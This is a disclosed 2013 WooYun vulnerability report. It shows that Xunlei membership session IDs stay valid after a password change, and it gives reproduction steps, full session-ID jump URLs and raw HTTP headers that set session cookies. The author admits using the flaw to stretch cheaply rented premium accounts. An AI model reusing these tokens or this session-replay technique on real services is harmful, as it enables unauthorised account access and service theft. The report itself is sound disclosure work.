当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-021445

漏洞标题:迅雷会员帐号认证逻辑错误,导致业务限制失控

相关厂商:迅雷

漏洞作者: SinSoul

提交时间:2013-04-09 13:19

修复时间:2013-05-24 13:19

公开时间:2013-05-24 13:19

漏洞类型:未授权访问/权限绕过

危害等级:低

自评Rank:3

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-09: 细节已通知厂商并且等待厂商处理中
2013-04-09: 厂商已经确认,细节仅向厂商公开
2013-04-19: 细节向核心白帽子及相关领域专家公开
2013-04-29: 细节向普通白帽子公开
2013-05-09: 细节向实习白帽子公开
2013-05-24: 细节向公众公开

简要描述:

迅雷会员帐号认证逻辑错误,导致业务限制失控

详细说明:

在使用正确用户名登录一次后保存下跳转会话ID,即使在该用户已经修改密码后,会话ID仍然有效,并能成功登录和使用迅雷离线下载和云点播等服务。
1.使用正确的白金会员帐号在迅雷云播桌面客户端(XunleiCloudPlayer.exe)中登录。
2.在“云列表”选项卡中“去离线”链接便是包含持久sessionid的链接。
3.即使用户此时更改密码,此链接依然有效,能跳转登录除aq.xunlei.com外的大多数迅雷二级域名以及kankan.com。
4.之前一直购买淘宝1毛角6小时的白金会员帐号,并利用此漏洞可以连续使用一个月的迅雷离线下载和云播服务,现在迅雷离线手机客户端免费,这也没多大用了。

漏洞证明:

1.跳转至迅雷看看首页,并以会员身份登录
http://jump.xunlei.com/sessionid/?sessionid=313129A35812E635FE0403B87BB90421BC057D5C26B6733F31F2529B66CCD55B1123CBCF8CD7763CC5CAD12578501DA96B9B68A0F5D6CD17882C3CF958529A5C65921D037DF4CE2B19C55F1101302354&u1=http://xunlei.com

0.png


2.跳转至迅雷云播,并能正常使用白金会员功能
http://jump.xunlei.com/sessionid/?sessionid=313129A35812E635FE0403B87BB90421BC057D5C26B6733F31F2529B66CCD55B1123CBCF8CD7763CC5CAD12578501DA96B9B68A0F5D6CD17882C3CF958529A5C65921D037DF4CE2B19C55F1101302354&u1=http://vod.xunlei.com

1.png


3.跳转至迅雷离线下载,并可添加链接高速取回本地
http://jump.xunlei.com/sessionid/?sessionid=313129A35812E635FE0403B87BB90421BC057D5C26B6733F31F2529B66CCD55B1123CBCF8CD7763CC5CAD12578501DA96B9B68A0F5D6CD17882C3CF958529A5C65921D037DF4CE2B19C55F1101302354&u1=http://lixian.xunlei.com

2.png


4.跳转时设置cookie的HTTP请求及响应头
(1)HTTP请求头
GET /sessionid/?sessionid=313129A35812E635FE0403B87BB90421BC057D5C26B6733F31F2529B66CCD55B1123CBCF8CD7763CC5CAD12578501DA96B9B68A0F5D6CD17882C3CF958529A5C65921D037DF4CE2B19C55F1101302354&u1=http://vod.xunlei.com HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: jump.xunlei.com
Connection: Keep-Alive
(2)HTTP响应头
HTTP/1.1 302 Found
Set-Cookie: downbyte=120090084222; PATH=/; DOMAIN=xunlei.com;
Set-Cookie: downfile=81; PATH=/; DOMAIN=xunlei.com;
Set-Cookie: isvip=1; PATH=/; DOMAIN=xunlei.com;
Set-Cookie: jumpkey=F9D22467C5A96D326DD81F2151A0CACC1CFFE3729308142F5FACA3AF89C101551FBD40C63D3958E97A569DC18C63B0B1564218D92649CD1B95DEE975E3C940BEACE2FDB5CC52DDD5DE0CB4543570D033; PATH=/; DOMAIN=xunlei.com;
Set-Cookie: logintype=0; PATH=/; DOMAIN=xunlei.com;
Set-Cookie: nickname=bhkxvwrish; PATH=/; DOMAIN=xunlei.com;
Set-Cookie: onlinetime=397261; PATH=/; DOMAIN=xunlei.com;
Set-Cookie: order=193073842; PATH=/; DOMAIN=xunlei.com;
Set-Cookie: safe=0; PATH=/; DOMAIN=xunlei.com;
Set-Cookie: score=949; PATH=/; DOMAIN=xunlei.com;
Set-Cookie: sessionid=313129A35812E635FE0403B87BB90421BC057D5C26B6733F31F2529B66CCD55B1123CBCF8CD7763CC5CAD12578501DA96B9B68A0F5D6CD17882C3CF958529A5C65921D037DF4CE2B19C55F1101302354; PATH=/; DOMAIN=xunlei.com;
Set-Cookie: sex=u; PATH=/; DOMAIN=xunlei.com;
Set-Cookie: upgrade=0; PATH=/; DOMAIN=xun

修复方案:

不修复也无所谓,反正云播无登录IP限制,一个链接便可大家一起分享使用迅雷白金服务,业界良心。

版权声明:转载请注明来源 SinSoul@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2013-04-09 16:31

厂商回复:

要修复,本周的新版云播会改进这个问题。感谢反馈!

最新状态:

暂无